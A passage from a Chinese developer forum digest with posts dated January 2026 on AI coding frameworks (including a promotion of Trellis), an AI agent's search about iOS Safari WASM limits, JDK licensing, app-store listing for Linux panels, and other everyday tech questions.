在说这一切之前必须从我们踩过的坑说起。从 8 个月前 Claude Code 发布开始，我们就在尝试各种开发流程：从最早的 OpenSpec ，到前段时间爆火的 plan-with-files ，再到最近霸榜 trending 的 Superpowers ，我们都有过使用，但可惜结果都是初看很惊艳，但实际效果不尽如人意

核心问题有两个：

1. OpenSpec 类框架：本质上是 PRD-driven ， 而不是 Coding-Spec-driven 。缺少了对代码质量的全局约束，每次开发新任务都需要新建关于项目的架构约束、代码风格、错误处理规则等文档。
2. Superpowers 类框架：开源的 skill 都是比较宽泛的，没法解决项目内各种特化的问题，但是即使我们定义了自己的项目规范 skill ，有时也因为幻觉或者上下文过长而没有调用，这带来了不可预测性。最后大部分时候 skill 必须手动使用，使用体感很差。

我们的思考

我们认为在未来的 AI Framework 里，Spec 和 Skill 必须同时存在：

• Spec 负责约束：确保 AI 始终遵循项目规范，提供可预测性
• Skill 负责能力：按需扩展 AI 的能力边界，保持灵活性

解决了这两个问题，才能真正提升 AI 的代码质量，再配合上自动上下文注入之后，并行调用、团队协作等能力也就成为可能了。

Trellis：为 AI 编码提供结构化支撑

下面就要讲到我们的开源框架 Trellis： https://github.com/mindfold-ai/Trellis

Trellis 的寓意是植物的爬架——我们希望它能像爬架一样，为 AI 编码提供结构化的支撑，让代码自然生长的同时保持方向可控。同时也希望它就像庭院里真实的爬架一样，是高度可自定义的。

1. 我们给 Spec 加上了分层和索引机制，这样它就拥有了 Skill 的渐进式披露，在节省上下文的同时也确保永远不会遗失关键 context ；
2. 我们用脚本整合了一套自动注入上下文的 Skill 工作流，让你每次对话都能自动完成一套规范的工作流，而不需要手动调用一堆 command ；
3. 我们加上了更强的 Todo 管理系统，结合 json 和 md 文档，让它在有丰富的 prd 的同时，有了优先级、能关联工程师、关联 branch&worktree
4. 最后我们结合上述功能并加上了 multi-agent && multi-session 功能，这样你的 AI 可以判断 Task 复杂度，自行开启一个或多个 worktree 开发任务甚至直接 PR

更多可能性

这套系统的玩法还非常多，比如 task 系统和任务管理系统比如 Linear 的双向同步；比如自动多模型 Review PR ；甚至像 ClawdBot 一样嵌入到 Slack 、discord 等任何地方…

最重要的是，没有学习成本：只需三行命令完成初始化，之后像平常一样用 Claude Code 就好了。(因为所有的复杂逻辑我们都已经原生做在了框架内部)

在过去的几天，我们内部搓了一个自动生成 Leads 的系统；一个每天帮我们刷各种社媒的 agent ；一个支持 ACP 、嵌入 Trellis 的 Cowork GUI…

Roadmap

与此同时我们还在准备 Trellis 下两个版本的大更新，以及整理团队内部使用的 Skill 包，很快就全量会放出来。

容我再次插入一个 CTA ，感兴趣的朋友可以 star 一下，支持我们，关注后续进度 👉 https://github.com/mindfold-ai/Trellis

_{作者: a9443511 | 发布时间: 2026-01-30 08:41}

---

31. Kimi K2.5 的确不错但好像训练的数据有点老？

正准备开个会员，结果 opencode 可以限时免费用了，赶紧试了试，对项目问题的分析很到位，但怎么推理用的数据那么旧？

Let me search for more specific information about libmedia and iOS Safari limitations.
◈ Exa Web Search "libmedia AVTranscoder iOS Safari performance file size limitations WASM 2024" 
◈ Exa Web Search "iPhone Safari file upload size limit blob memory WebAssembly" 
Thinking: Based on the search results, I can now provide a comprehensive answer about Option 2 (libmedia/AVTranscoder) and its viability on iPhone Safari:
Key findings:
1. iOS Safari WASM Memory Issues:
   - There's a history of Out-Of-Memory (OOM) errors on iOS when using WASM (GitHub issue from 2022 shows "Unhandled Promise Rejection: RangeError: Out of Memory" on iOS 15.2)
   - ffmpeg.wasm has a 2GB file size limit (GitHub issue #623)
   - Safari WASM was limited to 2GB until 2021, now supports up to 4GB but with memory fragmentation issues 

_{作者: gap | 发布时间: 2026-01-30 02:34}

---

32. AI 生成 PPT 方案请教

最近公司安排做 AI Slides ，我看了下 GitHub 上 ai-slides 这个 topic ，目前活跃的项目基本就两个：

• banana-slides （GitHub）：用 Nano Banana 模型生成 PPT 页面图片，视觉效果不错，但导出的.pptx本质是图片嵌入，无法编辑文字或调整布局；
• Xpptx （xpptx.com）：能直接生成结构化的可编辑 PPT 。

我现在的问题是：有没有办法把 banana-slides 生成的那种高质量页面图，自动转换成真正的可编辑 PPT ？比如识别出标题、正文、图表区域，还原成原生文本和形状？

求教有没有现成工具或技术方案。

_{作者: jsxyzb | 发布时间: 2026-01-30 12:29}

---

33. 虚拟线程还是 WebFlux

前言

准备搭建一个公司自用的 iot 平台，要求实现设备监听和 rag 知识库，但是公司现有的开发人员包括我在内只有 3 人，都是 Java 开发，前端是兼职的，3 个人的开发水平不一，另外两位没有接触过响应式编程以及 spring ai 和 langchian4j 看了下开源的 iot 平台，感觉 jetlinks 不错，但是都是用的响应式编程，可能会有一定的学习难度，企业版的功能基本符合客户预期，就看公司舍不舍得出钱了

考虑

webflux 确实感觉有点反人类,还要配合 r2dbc 使用才行，可能就算是用 jetlinks 到时候估计也会有一大堆问题，看能不能先直接上 jdk25 的虚拟线程，还是用传统开发模式，对于设备实时监听和 rag 的时候用 websocket 和 sse

_{作者: ttthys | 发布时间: 2026-01-30 06:16}

---

34. cloudcone 登录不了吗 什么情况 图像验证码也没有了

cloudcone 登录不了 登录界面图像验证码都没有了 博客都在上面呢

_{作者: lwy9527 | 发布时间: 2026-01-30 02:46}

---

35. 现在 vibe coding 的人多不多？

1. 搜索引擎 OR 编辑器集成？
2. 免费 OR 收费？

现在招聘很多要求会用 AI 编程，我不太明白，这是指什么？如果公司不采购大模型，难道要自己花钱去提升工作效率吗？

_{作者: cnguu | 发布时间: 2026-01-30 06:16}

---

36. 转发一篇好文 —— 《What We Talk About When We Talk About Agent Infra》

https://me.0xffff.me/agent_infra.html?

_{作者: d0r1an | 发布时间: 2026-01-30 11:18}

---

37. 关于商用 jdk 收费的问题，有遥测吗？

问了 ai 没答出个所以然，

比如，azul 的 prime 可以下载用的，商用的，我要是用了，不给钱，还盈利了，小规模比如就一台服务器，azul 是怎么知道我用了的，让我掏钱的？

还是小公司他们其实也不管，只有大公司才会主动解决这些问题， 还是说真有什么遥测什么的？

_{作者: dzdh | 发布时间: 2026-01-30 09:19}

---

38. 原来 1panel 的商店上架应用需要 10k 的 star 才行

前言

这周想着上架下主流的一些 linux 管理面板（宝塔、1panel 、GMSSH ），花了点时间按照要求给 1panel 的仓库提交了 PR，迟迟没人回复，就找到他们社区的联系方式，发现需要付费才能联系到他们。

那就充值 10 元，进群看看。

进群后，我说明来意后才知道需要 10kstar 才能上架🥹

这个 star 要求在他们对外发布的文档里没找到有说

这里也算是给大家踩坑了，需要上架商店的好兄弟需要注意下这一点了😂。

上架宝塔

宝塔这边的社区氛围就比较好了，官网有说明直接加他们的官方群（提供了 QQ 群号）即可，进群后，他们还挺热情的。

上架 GMSSH

这个平台的体验就很好了，官方很热情的帮我解答，很快就完成了上架。

效率非常高。

项目地址

• GitHub 地址： https://github.com/likaia/nginxpulse
• dockerhub 地址： https://hub.docker.com/r/magiccoders/nginxpulse/

写在最后

至此，文章就分享完毕了。

我是神奇的程序员 ，一位前端开发工程师。

如果你对我感兴趣，请移步我的个人网站，进一步了解。

_{作者: MagicCoder | 发布时间: 2026-01-30 01:57}

---

39. 想买一台备用 Android 手机（主要装微信和 Line），大家有什么建议？

大家好！我目前主用的是 iPhone ，但因为工作需要，想再买一台备用的 Android 手机。主要用途是：

1. 安全性和隐私性高（我比较在意这一点，所以偏向三星，原因你懂得）

2. 主要装 微信和 Line 用来联系客户和日常沟通

如果只是用来通讯、联络客户这类主流社交 App ，买一台 1000 元左右的 Android 手机 会不会就足够了？

_{作者: freefly111 | 发布时间: 2026-01-29 15:58}

---

40. 公司后端接口的返回：

_{作者: tf2 | 发布时间: 2026-01-29 09:05}

---